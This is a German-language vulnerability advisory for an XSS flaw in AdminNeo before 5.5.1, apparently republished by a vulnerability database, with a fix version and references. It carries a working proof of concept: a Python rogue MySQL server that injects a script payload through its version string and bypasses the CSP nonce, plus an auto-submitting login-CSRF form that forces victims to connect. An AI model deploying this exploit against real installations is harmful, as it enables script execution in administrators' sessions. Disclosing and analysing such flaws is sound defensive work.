AdminNeo anfällig für XSS über Versionszeichenfolge eines Rogue-MySQL-Servers (CSP-Nonce-Bypass)
Zusammenfassung
AdminNeo fügt die Versionszeichenfolge des Datenbankservers ohne jegliche Bereinigung in ein <script>-Tag ein, das ein gültiges CSP-Nonce enthält. Ein bösartiger Datenbankserver kann eine manipulierte Versionszeichenfolge zurückgeben, die aus dem JavaScript-Kontext ausbricht und beliebigen Code ausführt. Da das Script-Tag bereits ein gültiges Nonce besitzt, wird die Ausführung nicht durch die Content Security Policy des Browsers blockiert. In Verbindung mit Login-CSRF ist keine Authentifizierung erforderlich.
Ursprünglich in Adminer gemeldet: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj
Voraussetzungen
- Das Zielsystem führt AdminNeo aus
- Der Angreifer kontrolliert einen erreichbaren MySQL-Server (ein Python-Skript mit 80 Zeilen)
Ursache
admin/core/Admin.php, Zeilen 1285-1286:
echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");
script() umschließt die Ausgabe mit <script nonce="VALID_NONCE">. Der Rückgabewert von Connection::get()->getVersion() wird nicht maskiert.
Schritte zur Reproduktion
1. Umgebung aufbauen
Dockerfile (AdminNeo):
FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]
rogue_mysql.py (Gefälschter MySQL-Server, der jeden Login akzeptiert):
import socket, struct, threading
PAYLOAD = "1');alert(origin)//"
# Capability flags the client expects
CAP_PROTOCOL_41 = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH = 0x00080000
CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)
def make_packet(seq, payload):
length = struct.pack("<I", len(payload))[:3]
return length + bytes([seq]) + payload
def make_greeting(version_str):
pkt = b"\x0a" # protocol version 10
pkt += version_str.encode() + b"\x00" # version string
pkt += struct.pack("<I", 1) # connection id
pkt += b"\x41" * 8 # auth plugin data part 1
pkt += b"\x00" # filler
pkt += struct.pack("<H", CAPS_LOW) # capability flags lower
pkt += b"\x21" # charset utf8
pkt += struct.pack("<H", 0x0002) # status flags
pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper
pkt += b"\x15" # auth data length (21)
pkt += b"\x00" * 10 # reserved
pkt += b"\x41" * 12 + b"\x00" # auth plugin data part 2
pkt += b"mysql_native_password\x00" # auth plugin name
return make_packet(0, pkt)
def make_ok(seq):
pkt = b"\x00" # OK marker
pkt += b"\x00" # affected rows
pkt += b"\x00" # last insert id
pkt += struct.pack("<H", 0x0002) # status flags
pkt += struct.pack("<H", 0) # warnings
return make_packet(seq, pkt)
def make_eof(seq):
pkt = b"\xfe"
pkt += struct.pack("<H", 0) # warnings
pkt += struct.pack("<H", 0x0002) # status flags
return make_packet(seq, pkt)
def make_err(seq, msg=b"not supported"):
pkt = b"\xff"
pkt += struct.pack("<H", 1045)
pkt += b"#HY000"
pkt += msg
return make_packet(seq, pkt)
def handle(conn):
conn.sendall(make_greeting(PAYLOAD))
try:
conn.recv(4096) # client login request
except Exception:
conn.close()
return
conn.sendall(make_ok(2)) # accept login
# Answer any queries Adminer sends after login
while True:
try:
data = conn.recv(4096)
if not data:
break
seq = data[3] + 1
# Send ERR for all queries (Adminer still has the version in memory)
conn.sendall(make_err(seq))
except Exception:
break
conn.close()
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
conn, addr = srv.accept()
print(f"[+] Connection from {addr}")
threading.Thread(target=handle, args=(conn,)).start()
# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss
# Terminal 2: start rogue MySQL
python3 rogue_mysql.py
2. XSS auslösen
Öffnen Sie einen Browser und navigieren Sie zu http://localhost:8081/adminneo.php:
- Treiber auswählen: MySQL
- Server:
HOST_IP:3307(IP-Adresse des Systems, auf dem rogue_mysql.py läuft) - Benutzername:
root - Passwort:
x - Auf Anmelden klicken.
Der Rogue-Server akzeptiert den Login. AdminNeo rendert das Dashboard und bindet Folgendes ein:
<script nonce="REAL_NONCE">let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>
Der Browser führt alert(origin) unter vollständiger Umgehung der CSP aus, da das Script-Tag ein gültiges Nonce trägt.
3. Auslösung über Login-CSRF
Das Anmeldeformular enthält kein CSRF-Token. Eine Angreiferseite sendet den Login automatisch ab und zwingt den Browser des Opfers, sich mit dem Rogue-Server zu verbinden:
<form id="f" method="POST" action="http://TARGET/adminneo.php">
<input name="auth[driver]" value="mysql">
<input name="auth[server]" value="ROGUE_IP:3307">
<input name="auth[username]" value="root">
<input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>
Danksagung
Diese Schwachstelle wurde gemeinsam mit Yashar Shahinzadeh (GitHub: @Voorivex) entdeckt.
Was zu tun ist
Aktualisieren Sie AdminNeo auf Version 5.5.1 oder neuer.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Composer-Paket | adminneo-org/adminneo | < 5.5.1 | 5.5.1 |
Verweise
- https://github.com/adminneo-org/adminneo/security/advisories/GHSA-rx7m-wxwq-vxr9
- https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj
- https://github.com/adminneo-org/adminneo/commit/2c86406808bc2517efb35f5595b3a05761c2eacd
- https://github.com/adminneo-org/adminneo
- https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1
- CVSS-Vektor
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-79- Plattform
- Composer
- Paket
adminneo-org/adminneo- Veröffentlicht
- 30.10.2026
- Aktualisiert
- 08.11.2026 10:00
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-rx7m-wxwq-vxr9 - CC BY 4.0
Schwachstellenhistorie: adminneo-org/adminneo
Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 6
- Erste → letzte
- 10.2026 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 4
- Mittel 2
Veröffentlichungen pro Jahr
- 2026: 6
-
AdminNeo anfällig für XSS über Versionszeichenfolge eines Rogue-MySQL-Servers (CSP-Nonce-Bypass) dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.